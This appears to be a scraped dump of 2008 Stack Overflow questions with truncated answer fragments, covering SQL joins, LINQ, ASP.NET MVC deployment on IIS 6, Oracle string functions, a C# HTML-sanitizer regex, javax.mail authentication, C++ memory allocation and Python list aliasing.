[ { "answer_id": 240004, "author": "Mark Heath", "author_id": 7532, "author_profile": "https://Stackoverflow.com/users/7532", "pm_score": 0, "selected": false, "text": "RowStyle" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239938", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12597/" ]
239,945
<p>I'm creating a really complex dynamic sql, it's got to return one row per user, but now I have to join against a one to many table. I do an outer join to make sure I get at least one row back (and can check for null to see if there's data in that table) but I have to make sure I only get one row back from this outer join part if there's multiple rows in this second table for this user. So far I've come up with this: (sybase)</p> <pre><code>SELECT a.user_id FROM table1 a ,table2 b WHERE a.user_id = b.user_id AND a.sub_id = ( SELECT min(c.sub_id) FROM table2 c WHERE b.sub_id = c.sub_id ) </code></pre> <p>The subquery finds the min value in the one to many table for that particular user.</p> <p>This works but I fear nastiness from doing correlated subqueries when table 1 and 2 get very large. Is there a better way? I'm trying to dream up a way to get joins to do it, but I'm not seeing it. Also saying "where rowcount=1" or "top 1" doesn't help me, because I'm not trying to fix the above query, I'm ADDING the above to an already complex query.</p>
[ { "answer_id": 240040, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 0, "selected": false, "text": "select a.user_id \nfrom table1 a\nwhere exists (select null from table2 b \n where a.user_id = b.user_id...
2008/10/27
[ "https://Stackoverflow.com/questions/239945", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12386/" ]
239,951
<p>For example for the following XML</p> <pre><code> &lt;Order&gt; &lt;Phone&gt;1254&lt;/Phone&gt; &lt;City&gt;City1&lt;/City&gt; &lt;State&gt;State&lt;/State&gt; &lt;/Order&gt; </code></pre> <p>I might want to find out whether the XElement contains "City" Node or not. </p>
[ { "answer_id": 239963, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 7, "selected": true, "text": "bool hasCity = OrderXml.Elements(\"City\").Any();\n" }, { "answer_id": 239969, "author": "James Curran", "autho...
2008/10/27
[ "https://Stackoverflow.com/questions/239951", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1688440/" ]
239,961
<p>If you have a class member that is <code>static</code> and <code>public</code>. Would you write <code>static public</code> or <code>public static</code>? I know they are the same. But is there some recommendation / best practice for writing this?</p>
[ { "answer_id": 239976, "author": "Stewart Johnson", "author_id": 6408, "author_profile": "https://Stackoverflow.com/users/6408", "pm_score": 4, "selected": false, "text": "public static" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239961", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1793417/" ]
239,981
<p>I'm struggling to get around the 404 errors from asp.net mvc beta when deploying on IIS 6. I had this working in one of the previews by mapping .mvc in IIS but this no longer works. I've read <a href="http://msmvps.com/blogs/omar/archive/2008/06/30/deploy-asp-net-mvc-on-iis-6-solve-404-compression-and-performance-problems.aspx" rel="nofollow noreferrer">Omar's post</a> and several others on the web and tried their solutions but no luck so far.</p> <p>The home page opens without a problem on IIS 6 but others 404 and the site runs well on IIS 7.</p> <p>Has anybody deployed asp.net mvc beta to IIS 6 with success? If so, what adjustments did you need to make to the code and/or IIS settings to get it to work?</p>
[ { "answer_id": 240327, "author": "Guy", "author_id": 1463, "author_profile": "https://Stackoverflow.com/users/1463", "pm_score": 6, "selected": true, "text": "aspnet_isapi.dll" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239981", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1463/" ]
239,988
<p>I need to setup an application that watches for files being created in a directory, both locally or on a network drive.</p> <p>Would the <code>FileSystemWatcher</code> or polling on a timer would be the best option. I have used both methods in the past, but not extensively. </p> <p>What issues (performance, reliability etc.) are there with either method? </p>
[ { "answer_id": 240048, "author": "Brent Rockwood", "author_id": 31253, "author_profile": "https://Stackoverflow.com/users/31253", "pm_score": 5, "selected": false, "text": "FileSystemWatcher" }, { "answer_id": 240053, "author": "Jon Norton", "author_id": 4797, "author...
2008/10/27
[ "https://Stackoverflow.com/questions/239988", "https://Stackoverflow.com", "https://Stackoverflow.com/users/343/" ]
240,012
<p>This is a follow-up to a previous question I had about interfaces. I received an answer that I like, but I'm not sure how to implement it in VB.NET.</p> <p>Previous question:</p> <p><a href="https://stackoverflow.com/questions/239909/should-this-property-be-part-of-my-objects-interface">Should this property be part of my object&#39;s interface?</a></p> <pre><code>public interface Foo{ bool MyMinimallyReadOnlyPropertyThatCanAlsoBeReadWrite {get;} } </code></pre> <p>How can I achieve this with the VB.NET syntax? As far as I know, my only option is to mark the property as ReadOnly (I cannot implement the setter) or not (I must implement the setter).</p>
[ { "answer_id": 240050, "author": "Martin Moser", "author_id": 24756, "author_profile": "https://Stackoverflow.com/users/24756", "pm_score": 1, "selected": false, "text": "Public Interface ICanBeSecure\n\n ReadOnly Property IsSecureConnection() As Boolean\nEnd Interface\n\nPublic Inter...
2008/10/27
[ "https://Stackoverflow.com/questions/240012", "https://Stackoverflow.com", "https://Stackoverflow.com/users/132931/" ]
240,013
<p>I have two databases, one is an MS Access file, the other is a SQL Server database. I need to create a SELECT command that filters data from the SQL Server database based on the data in the Access database. What is the best way to accomplish this with ADO.NET?</p> <p>Can I pull the required data from each database into two new tables. Put these in a single Dataset. Then perform another SELECT command on the Dataset to combine the data?</p> <p>Additional Information: The Access database is not permanent. The Access file to use is set at runtime by the user.</p> <p>Here's a bit of background information to explain why there are two databases. My company uses a CAD program to design buildings. The program stores materials used in the CAD model in an Access database. There is one file for each model. I am writing a program that will generate costing information for each model. This is based on current material prices stored in a SQL Server database. </p> <hr> <p><strong>My Solution</strong></p> <p>I ended up just importing the data in the access db into a temporary table in the SQL server db. Performing all the necessary processing then removing the temporary table. It wasn't a pretty solution but it worked.</p>
[ { "answer_id": 629539, "author": "Mark Brackett", "author_id": 2199, "author_profile": "https://Stackoverflow.com/users/2199", "pm_score": 1, "selected": false, "text": " SELECT a.* \n FROM SqlTable \n JOIN OPENROWSET(\n 'Microsoft.Jet.OLEDB.4.0', \n 'C:\\Program Files\\Microsoft...
2008/10/27
[ "https://Stackoverflow.com/questions/240013", "https://Stackoverflow.com", "https://Stackoverflow.com/users/18966/" ]
240,016
<p>I have created a class for a dashboard item which will hold information such as placement on the dashboard, description, etc. I am currently using a pair of Collections to hold those dashboard items contained in the "library" and those items showing on the dashboard itself. I have been asked to make this dashboard multi-tab, and my first inclination was to make a new Collection for each tab. For this I would want some type of array or collection which could have many of these dashboard item collections added to it as more tabs are added to the dashboard.</p> <p>Is this possible, and if so, could I get a little code snip for the declaration of such a collection? I have considered using a single collection with a variable to show which tab the item will be shown in... However, the display and routines to manage dashboard item movement between screen and library currently need those individual collections.</p> <p>Edit: Thank you for your answers. While I do find them all interesting I believe I am going to go with James solution and will be marking it as the accepted answer.</p>
[ { "answer_id": 240042, "author": "James Curran", "author_id": 12725, "author_profile": "https://Stackoverflow.com/users/12725", "pm_score": 4, "selected": true, "text": "List< List<Placement>> ListofListOfPlacements = new List< List<Placement>> ();\n\nList<Placement> dashboard1 = new Lis...
2008/10/27
[ "https://Stackoverflow.com/questions/240016", "https://Stackoverflow.com", "https://Stackoverflow.com/users/30838/" ]
240,022
<p>I have to generate two random sets of matrices Each containing 3 digit numbers ranging from 2 - 10 </p> <p>like that</p> <p>matrix 1: 994,878,129,121</p> <p>matrix 2: 272,794,378,212</p> <p>the numbers in both matrices have to be greater then 100 and less then 999</p> <p>BUT</p> <p>the mean for both matrices has to be in the ratio of 1:2 or 2:3 what ever constraint the user inputs </p> <p>my math skills are kind of limited so any ideas how do i make this happen?</p>
[ { "answer_id": 240089, "author": "S.Lott", "author_id": 10661, "author_profile": "https://Stackoverflow.com/users/10661", "pm_score": 1, "selected": false, "text": "s1= [ random.randint(100,999) for i in range(n) ]\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240022", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16458/" ]
240,033
<p>I'll preface this by saying that I usually work in C#/.Net.</p> <p>Normally, I use a naming scheme that puts common, reusable components into a namespace that reflects our organization and project-specific components into a namespace tied to the project. One of the reasons I do this is that I sometimes share my components with others outside my department, but within the organization. Project-specific namespaces are typically prefaced with the name or abbreviation of the department. When I reuse code between projects, I typically migrate it into one of the organization-based namespaces.</p> <p>For example:</p> <p><code>UIOWA.DirectoryServices</code> contains classes that deal with the specific implementation of our Active Directory.</p> <p><code>UIOWA.Calendar</code> contains classes that deal with the University's master calendar.</p> <p><code>LST.Inventory.Datalayer</code> holds the classes implementing the data layer of the Learning Spaces Technology group inventory application.</p> <p>I'm embarking on a project now for an entity that has a fuzzier connection to the Unviersity (a student group that runs a charity event) that has the potential to be sold outside of our University and, thus, it doesn't really fit into my normal naming conventions, i.e., the department is only the first customer of potentially many that might use the project.</p> <p>My inclination is to go the organization naming route and create an "organizational project" name space for this application. I'd like to hear how others handle this and any advice you might have.</p> <p>Thanks.</p> <p><strong>See also</strong> this related question about <a href="https://stackoverflow.com/questions/123114/how-do-you-organize-your-namespaces">namespace organization</a>.</p> <p><strong>EDIT</strong></p> <p>I ended up creating the org/project namespace <code>UIOWA.MasterEvent</code> and deriving further namespaces from there. Still interested in other opinions for future projects.</p>
[ { "answer_id": 240068, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 4, "selected": true, "text": "Toolbox" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240033", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12950/" ]
240,046
<p>I'd like to use Oracle's utl_match.edit_distance function. It supposed to compare two strings and return the <a href="http://en.wikipedia.org/wiki/Levenshtein_Distance" rel="nofollow noreferrer">Levenshtein distance</a>.</p> <pre><code>select utl_match.edit_distance('a','b') from dual </code></pre> <p>returns 1 as expected, but</p> <pre><code>select utl_match.edit_distance('á','b') from dual </code></pre> <p>returns 2. Obviously I'd like to get 1.</p> <p>It seems to be, it does not work correctly for special characters. I'm using Oracle 10.2.0.4 and AL32UTF8 character set.</p>
[ { "answer_id": 240356, "author": "Justin Cave", "author_id": 10397, "author_profile": "https://Stackoverflow.com/users/10397", "pm_score": 3, "selected": true, "text": "SQL> ed\nWrote file afiedt.buf\n\n 1 declare\n 2 l_char1 varchar2(1 char) := 'á';\n 3 l_char2 varchar2(1 char...
2008/10/27
[ "https://Stackoverflow.com/questions/240046", "https://Stackoverflow.com", "https://Stackoverflow.com/users/21348/" ]
240,047
<p>In SQL Server, why is this:</p> <pre><code>[dbo].[table_name] </code></pre> <p>preferable to this:</p> <pre><code>dbo.table_name </code></pre> <p>And along those lines, why even list the dbo at all if there's only one schema?</p>
[ { "answer_id": 240060, "author": "Rune Grimstad", "author_id": 30366, "author_profile": "https://Stackoverflow.com/users/30366", "pm_score": 2, "selected": false, "text": "SELECT * FROM [Select]" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240047", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2147/" ]
240,058
<p>I need a timer tick with 1ms resolution under linux. It is used to increment a timer value that in turn is used to see if various Events should be triggered. The POSIX timerfd_create is not an option because of the glibc requirement. I tried timer_create and timer_settimer, but the best I get from them is a 10ms resolution, smaller values seem to default to 10ms resolution. Getittimer and setitimer have a 10 ms resolution according to the manpage.</p> <p>The only way to do this timer I can currently think of is to use clock_gettime with CLOCK_MONOTONIC in my main loop an test if a ms has passed, and if so to increase the counter (and then check if the various Events should fire).</p> <p>Is there a better way to do this than to constantly query in the main loop? What is the recommended solution to this?</p> <p>The language I am using is plain old c</p> <p><strong>Update</strong><br> I am using a 2.6.26 Kernel. I know you can have it interrupt at 1kHz, and the POSIX timer_* functions then can be programmed to up to 1ms but that seems not to be reliable and I don't want to use that, because it may need a new kernel on some Systems. Some stock Kernel seem to still have the 100Hz configured. And I would need to detect that. The application may be run on something else than my System :)</p> <p>I can not sleep for 1ms because there may be network events I have to react to.</p> <p><strong>How I resolved it</strong> Since it is not that important I simply declared that the global timer has a 100ms resolution. All events using their own timer have to set at least 100ms for timer expiration. I was more or less wondering if there would be a better way, hence the question.</p> <p><strong>Why I accepted the answer</strong> I think the answer from freespace best described why it is not really possible without a realtime Linux System.</p>
[ { "answer_id": 4723477, "author": "richard j. lee", "author_id": 579834, "author_profile": "https://Stackoverflow.com/users/579834", "pm_score": 1, "selected": false, "text": "HZ=1000" }, { "answer_id": 4724088, "author": "Maxim Egorushkin", "author_id": 412080, "auth...
2008/10/27
[ "https://Stackoverflow.com/questions/240058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6510/" ]
240,061
<p>I have a very large C project with many separate C files and headers and many dozens of contributors. Many contributors do not have a strong knowledge of makefiles and dependencies, resulting in the not uncommon problem where you almost always have to "make clean" before you can trust "make" to have produced correct output.</p> <p>If make took minutes, this wouldn't be an issue, but it's nearly 2 hours on a fast machine now, and people are starting to check in code that works when they make, but they don't clean first and their code ultimately breaks the build. Don't ask why these aren't caught by the build manager before a new baseline is cut...</p> <p>Yes, we shouldn't have let it go this far.</p> <p>Yes, we're educating our developers.</p> <p>As usual, we don't have time to stop everything and fix it by hand.</p> <p>I'm thinking there are tools along these lines:</p> <ul> <li>Are there automated tools to help build correct dependency information for an existing project from the C and H files?</li> <li>Are there automated tools to describe dependency information according to the makefiles?</li> <li>Is there a holy grail of a tool to describe the differences between the above two dependency trees?</li> </ul> <p>But what else can/should be done to resolve this issue?</p> <p>Thanks in advance...</p> <p>-Adam</p>
[ { "answer_id": 240085, "author": "Eli Courtwright", "author_id": 1694, "author_profile": "https://Stackoverflow.com/users/1694", "pm_score": 4, "selected": true, "text": "gcc -M" }, { "answer_id": 240624, "author": "JesperE", "author_id": 13051, "author_profile": "htt...
2008/10/27
[ "https://Stackoverflow.com/questions/240061", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2915/" ]
240,090
<p>We have a ASP.Net 2.0 web application up and running with the server in the Midwest (Eastern Standard Time). At this moment all of our customers are in the same time zone as the server. We are bringing another server online in Arizona (Mountain Standard Time).</p> <p>We are storing all our times in a SQL 2005 database via C# codebehind DateTime.UtcNow.</p> <p>During testing we encountered some time zone conversion issues. Our problem is that in the web browser our times are displaying the Mountain Standard Time instead of the time zone we are testing from which is Eastern Standard Time. </p> <p>When we enter new information it gets stored as UTC in the database, but when we go to view that info in the browser it is displaying the Mountain Standard Time. Below is the code which takes the UTC value from the database and displays it in the browser.</p> <pre><code>lblUpdatedDate.Text = Convert.ToDateTime(dr["UpdatedDate"]).ToLocalTime().ToString(); </code></pre> <p>The above code returns Mountain Standard Time where the server is, not Eastern Standard Time where the browser is running from. How do we get the time to display where the user is?</p>
[ { "answer_id": 240207, "author": "ScottCher", "author_id": 24179, "author_profile": "https://Stackoverflow.com/users/24179", "pm_score": 0, "selected": false, "text": "foreach (DataColumn dc in dt.Columns)\n{\n if (dc.DataType == typeof(DateTime))\n {\n dc.DateTimeMode = dateMode;\n...
2008/10/27
[ "https://Stackoverflow.com/questions/240090", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4096/" ]
240,098
<p>I'm using an HTML sanitizing whitelist code found here:<br> <a href="http://refactormycode.com/codes/333-sanitize-html" rel="nofollow noreferrer">http://refactormycode.com/codes/333-sanitize-html</a></p> <p>I needed to add the "font" tag as an additional tag to match, so I tried adding this condition after the <code>&lt;img</code> tag check </p> <pre><code>if (tagname.StartsWith("&lt;font")) { // detailed &lt;font&gt; tag checking // Non-escaped expression (for testing in a Regex editor app) // ^&lt;font(\s*size="\d{1}")?(\s*color="((#[0-9a-f]{6})|(#[0-9a-f]{3})|red|green|blue|black|white)")?(\s*face="(Arial|Courier New|Garamond|Georgia|Tahoma|Verdana)")?\s*?&gt;$ if (!IsMatch(tagname, @"&lt;font (\s*size=""\d{1}"")? (\s*color=""((#[0-9a-f]{6})|(#[0-9a-f]{3})|red|green|blue|black|white)"")? (\s*face=""(Arial|Courier New|Garamond|Georgia|Tahoma|Verdana)"")? \s*?&gt;")) { html = html.Remove(tag.Index, tag.Length); } } </code></pre> <p>Aside from the condition above, my code is almost identical to the code in the page I linked to. When I try to test this in C#, it throws an exception saying "<code>Not enough )'s</code>". I've counted the parenthesis several times and I've run the expression through a few online Javascript-based regex testers and none of them seem to tell me of any problems.</p> <p>Am I missing something in my Regex that is causing a parenthesis to escape? What do I need to do to fix this?</p> <p><strong>UPDATE</strong><br> After a lot of trial and error, I remembered that the <code>#</code> sign is a comment in regexes. The key to fixing this is to escape the <code>#</code> character. In case anyone else comes across the same problem, I've included my fix (just escaping the <code>#</code> sign) </p> <pre><code>if (tagname.StartsWith("&lt;font")) { // detailed &lt;font&gt; tag checking // Non-escaped expression (for testing in a Regex editor app) // ^&lt;font(\s*size="\d{1}")?(\s*color="((#[0-9a-f]{6})|(#[0-9a-f]{3})|red|green|blue|black|white)")?(\s*face="(Arial|Courier New|Garamond|Georgia|Tahoma|Verdana)")?\s*?&gt;$ if (!IsMatch(tagname, @"&lt;font (\s*size=""\d{1}"")? (\s*color=""((\#[0-9a-f]{6})|(\#[0-9a-f]{3})|red|green|blue|black|white)"")? (\s*face=""(Arial|Courier\sNew|Garamond|Georgia|Tahoma|Verdana)"")? \s*?&gt;")) { html = html.Remove(tag.Index, tag.Length); } } </code></pre>
[ { "answer_id": 240136, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "IsMatch" }, { "answer_id": 240211, "author": "Christian C. Salvadó", "author_id": 5445, "author_p...
2008/10/27
[ "https://Stackoverflow.com/questions/240098", "https://Stackoverflow.com", "https://Stackoverflow.com/users/392/" ]
240,102
<p>I'm developing an <code>ActiveX EXE</code> that exposes an specific class to a third-party software. This third-party software instanciates an object of this class and uses its methods. </p> <p>Strangely, this third-party software destroys its object of my exposed class as soon as it calls an specific method, but I have no idea why this happens.</p> <p>The only clue I have is that this method is the only one that returns a value. All the other ones are simple 'subs' that do not return any value, and when they are called nothing wrong happens.</p> <p>I'm using VB6.</p> <p>Do you guys have any idea of why it's happening?</p>
[ { "answer_id": 240369, "author": "dummy", "author_id": 6297, "author_profile": "https://Stackoverflow.com/users/6297", "pm_score": 0, "selected": false, "text": "Global AGlobalVariable As Object\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/240102", "https://Stackoverflow.com", "https://Stackoverflow.com/users/431/" ]
240,122
<p>Given the following java enum:</p> <pre><code>public enum AgeRange { A18TO23 { public String toString() { return "18 - 23"; } }, A24TO29 { public String toString() { return "24 - 29"; } }, A30TO35 { public String toString() { return "30 - 35"; } }, } </code></pre> <p>Is there any way to convert a string value of "18 - 23" to the corresponding enum value i.e. AgeRange.A18TO23 ?</p> <p>Thanks!</p>
[ { "answer_id": 240148, "author": "John M", "author_id": 20734, "author_profile": "https://Stackoverflow.com/users/20734", "pm_score": 2, "selected": false, "text": "for (AgeRange ar: EnumSet.allOf(AgeRange)) {\n if (ar.toString().equals(inString)) {\n myAnswer = ar;\n ...
2008/10/27
[ "https://Stackoverflow.com/questions/240122", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27163/" ]
240,125
<p>I have a form a user can enter their name, then it will add it to $message to be sent in an email.</p> <p>Is it better to use <code>$_POST</code> or <code>$_REQUEST</code>?</p> <p>Here is a snippet of using <code>$_REQUEST</code></p> <pre><code>$message.= "Name: ".$_REQUEST["fname"]." ".$_REQUEST["mname"]." ".$_REQUEST["lname"]."\n"; </code></pre>
[ { "answer_id": 240150, "author": "Michael Madsen", "author_id": 27528, "author_profile": "https://Stackoverflow.com/users/27528", "pm_score": 4, "selected": true, "text": "$_POST" }, { "answer_id": 240256, "author": "Graeme Perrow", "author_id": 1821, "author_profile"...
2008/10/27
[ "https://Stackoverflow.com/questions/240125", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26130/" ]
240,152
<p>I understand that they force you to implement methods and such but what I cant understand is why you would want to use them. Can anybody give me a good example or explanation on why I would want to implement this.</p>
[ { "answer_id": 240160, "author": "Eric Z Beard", "author_id": 1219, "author_profile": "https://Stackoverflow.com/users/1219", "pm_score": 2, "selected": false, "text": "void MoveAVehicle(IVehicle vehicle)\n{\n vehicle.Move();\n}\n" }, { "answer_id": 240172, "author": "Stew...
2008/10/27
[ "https://Stackoverflow.com/questions/240152", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23661/" ]
240,156
<p>In a Silverlight application I'm trying to find out when a property on a usercontrol has changed. I'm interested in one particular DependencyProperty, but unfortunately the control itself doesn't implement INotifyPropertyChanged.</p> <p>Is there any other way of determining if the value has changed?</p>
[ { "answer_id": 1835057, "author": "amazedsaint", "author_id": 45956, "author_profile": "https://Stackoverflow.com/users/45956", "pm_score": 3, "selected": false, "text": " /// Listen for change of the dependency property\n public void RegisterForNotification(string propertyName, Frame...
2008/10/27
[ "https://Stackoverflow.com/questions/240156", "https://Stackoverflow.com", "https://Stackoverflow.com/users/986/" ]
240,163
<p>I am trying to upload files using the FileReference class. Files >2MB all work correctly but files &lt;2MB cause this error:</p> <blockquote> <p>"java.io.IOException: Corrupt form data: premature ending"</p> </blockquote> <p>On the server I am using the com.oreilly.servlet package to handle the request.</p> <p>I have used this package many times to successfully handle file uploads from flex, but for some reason, now I am having this problem.</p> <p>Here is the stack trace for some more info:</p> <pre><code>java.io.IOException: Corrupt form data: premature ending at com.oreilly.servlet.multipart.MultipartParser.&lt;init&gt;(MultipartParser.java:205) at com.oreilly.servlet.MultipartRequest.&lt;init&gt;(MultipartRequest.java:222) at com.oreilly.servlet.MultipartRequest.&lt;init&gt;(MultipartRequest.java:173) at com.mydomain.FileUploadServlet.doPost(FileUploadServlet.java:46) at javax.servlet.http.HttpServlet.service(HttpServlet.java:710) at javax.servlet.http.HttpServlet.service(HttpServlet.java:803) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:269) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.struts2.dispatcher.ActionContextCleanUp.doFilter(ActionContextCleanUp.java:99) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:215) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) at org.apache.struts2.dispatcher.FilterDispatcher.doFilter(FilterDispatcher.java:414) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:215) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:188) </code></pre>
[ { "answer_id": 1835057, "author": "amazedsaint", "author_id": 45956, "author_profile": "https://Stackoverflow.com/users/45956", "pm_score": 3, "selected": false, "text": " /// Listen for change of the dependency property\n public void RegisterForNotification(string propertyName, Frame...
2008/10/27
[ "https://Stackoverflow.com/questions/240163", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22/" ]
240,166
<p>I'm using the javax.mail system, and having problems with "Invalid Address" exceptions. Here's the basics of the code:</p> <pre><code> // Get system properties Properties props = System.getProperties(); // Setup mail server props.put("mail.smtp.host", m_sending_host); // Get session Session session = Session.getDefaultInstance(props, new Authenticator(){ @Override protected PasswordAuthentication getPasswordAuthentication() { return new PasswordAuthentication(m_sending_user, m_sending_pass); } }); // Define message MimeMessage message = new MimeMessage(session); message.setFrom(new InternetAddress(m_sending_from)); message.addRecipient(Message.RecipientType.TO, new InternetAddress(vcea.get(i).emailaddr)); message.setSubject( replaceEnvVars(subject) ); message.setText(replaceEnvVars(body)); // Send message try { Transport.send(message); } catch (Exception e){ Log.Error("Error sending e-mail to addr (%s): %s", vcea.get(i).emailaddr, e.getLocalizedMessage() ); } </code></pre> <p>The issue is that the above code does work, sometimes. But for some e-mail addresses that I know to be valid (because I can send to them via a standard e-mail client), the above code will throw an "Invalid Address" exception when trying to send.</p> <p>Any clues or hints would be greatly appreciated.</p> <p>--Update: problem with authentication.</p> <p>Ok, here's what I've discovered was going on. When receiving e-mail, the code above correctly sets up authentication and the Authenticator.getPasswordAuthentication() callback is actually invoked.</p> <p>Not so when sending e-mail. You have to do a bit more. Add this:</p> <pre><code> // Setup mail server props.put("mail.smtp.host", m_sending_host); props.put("mail.smtp.auth", "true"); </code></pre> <p>which will force the javax.mail API to do the login authentication. And then use an actual Transport instance instead of the static .send() method:</p> <pre><code> Transport t = session.getTransport(m_sending_protocol); t.connect(m_sending_user, m_sending_pass); </code></pre> <p>...</p> <pre><code> // Send message try { t.sendMessage(message, message.getAllRecipients()); } catch (Exception e){ </code></pre> <p>Without forcing the authentication, the mail server saw me as an unauthorized relay, and just shut me down. The difference between the addresses that "worked" and the addresses that didn't was that the ones that "worked" were all local to the mail server. Therefore, it simply accepted them. But for any non-local "relay" addresses, it would reject the message because my authentication information hadn't been presented by the javax.mail API when I thought it would have.</p> <p>Thanks for the clues to prompt me to look at the mail server side of things as well.</p>
[ { "answer_id": 240208, "author": "Agusti-N", "author_id": 24639, "author_profile": "https://Stackoverflow.com/users/24639", "pm_score": 0, "selected": false, "text": "String to=\"stackoverflow@so.com\";\nString cc=\"one@mail.com,two@mail.com\"; //The separator ',' works good\n\nmessage.s...
2008/10/27
[ "https://Stackoverflow.com/questions/240166", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24193/" ]
240,171
<p>How can I launch an application using C#?</p> <p>Requirements: Must work on <a href="http://en.wikipedia.org/wiki/Windows_XP" rel="noreferrer">Windows&nbsp;XP</a> and <a href="http://en.wikipedia.org/wiki/Windows_Vista" rel="noreferrer">Windows&nbsp;Vista</a>.</p> <p>I have seen a sample from DinnerNow.net sampler that only works in Windows&nbsp;Vista.</p>
[ { "answer_id": 240189, "author": "Mark S. Rasmussen", "author_id": 12469, "author_profile": "https://Stackoverflow.com/users/12469", "pm_score": 6, "selected": false, "text": "System.Diagnostics.Process.Start(\"PathToExe.exe\");\n" }, { "answer_id": 240191, "author": "Igal Ta...
2008/10/27
[ "https://Stackoverflow.com/questions/240171", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5147/" ]
240,178
<p>I created a list of lists:</p> <pre><code>xs = [[1] * 4] * 3 # xs == [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]] </code></pre> <p>Then, I changed one of the innermost values:</p> <pre><code>xs[0][0] = 5 # xs == [[5, 1, 1, 1], [5, 1, 1, 1], [5, 1, 1, 1]] </code></pre> <p>Why did every first element of each sublist change to <code>5</code>?</p>
[ { "answer_id": 240202, "author": "Blair Conrad", "author_id": 1199, "author_profile": "https://Stackoverflow.com/users/1199", "pm_score": 6, "selected": false, "text": "[[1] * 4] * 3\n" }, { "answer_id": 240205, "author": "CAdaker", "author_id": 30579, "author_profile...
2008/10/27
[ "https://Stackoverflow.com/questions/240178", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11677/" ]
240,182
<p>Why is Oracle's <code>to_char()</code> function adding spaces?</p> <pre><code>select length('012'), length(to_char('012')), length(to_char('12', '000')) from dual; </code></pre> <p><code>3, 3, 4</code></p>
[ { "answer_id": 240206, "author": "Tony Andrews", "author_id": 18747, "author_profile": "https://Stackoverflow.com/users/18747", "pm_score": 7, "selected": false, "text": "SQL> select to_char(12,'FM000') from dual;\n\nTO_C\n----\n012\n" }, { "answer_id": 240216, "author": "Jam...
2008/10/27
[ "https://Stackoverflow.com/questions/240182", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4235/" ]
240,184
<p>I'm writing a CESetup.dll for a Windows Mobile app. It must be unmanaged, which I have little experience with. So I'm unsure of whether I should free the memory I allocate and how I do it.</p> <p>Here's the function I've written:</p> <pre><code> Uninstall_Init( HWND hwndParent, LPCTSTR pszInstallDir ) { LPTSTR folderPath = new TCHAR[256]; _stprintf(folderPath, _T("%s\\cache"), pszInstallDir); EmptyDirectory(folderPath); RemoveDirectory(folderPath); _stprintf(folderPath, _T("%s\\mobileadmin.dat"), pszInstallDir); DeleteFile(folderPath); // To continue uninstallation, return codeUNINSTALL_INIT_CONTINUE // If you want to cancel installation, // return codeUNINSTALL_INIT_CANCEL return codeUNINSTALL_INIT_CONTINUE; } </code></pre> <p>As I understand it, folderPath is allocated on the heap. EmptyDirectory() is my own function that removes all content in the directory. RemoveDirectory() and DeleteFile() are system calls.</p> <p>My question is should I deallocate <code>folderPath</code> before the function exits? If I should, how do I do it?</p>
[ { "answer_id": 240197, "author": "Treb", "author_id": 22114, "author_profile": "https://Stackoverflow.com/users/22114", "pm_score": 1, "selected": false, "text": " delete[] folderPath;\n" }, { "answer_id": 240234, "author": "Mark Ransom", "author_id": 5987, "author_pr...
2008/10/27
[ "https://Stackoverflow.com/questions/240184", "https://Stackoverflow.com", "https://Stackoverflow.com/users/631/" ]
240,212
<p>What is the difference between <code>new</code>/<code>delete</code> and <code>malloc</code>/<code>free</code>?</p> <p>Related (duplicate?): <a href="https://stackoverflow.com/questions/184537/in-what-cases-do-i-use-malloc-vs-new">In what cases do I use malloc vs new?</a></p>
[ { "answer_id": 240218, "author": "Trap", "author_id": 7839, "author_profile": "https://Stackoverflow.com/users/7839", "pm_score": 6, "selected": false, "text": "new" }, { "answer_id": 240220, "author": "James Curran", "author_id": 12725, "author_profile": "https://Sta...
2008/10/27
[ "https://Stackoverflow.com/questions/240212", "https://Stackoverflow.com", "https://Stackoverflow.com/users/22471/" ]
240,219
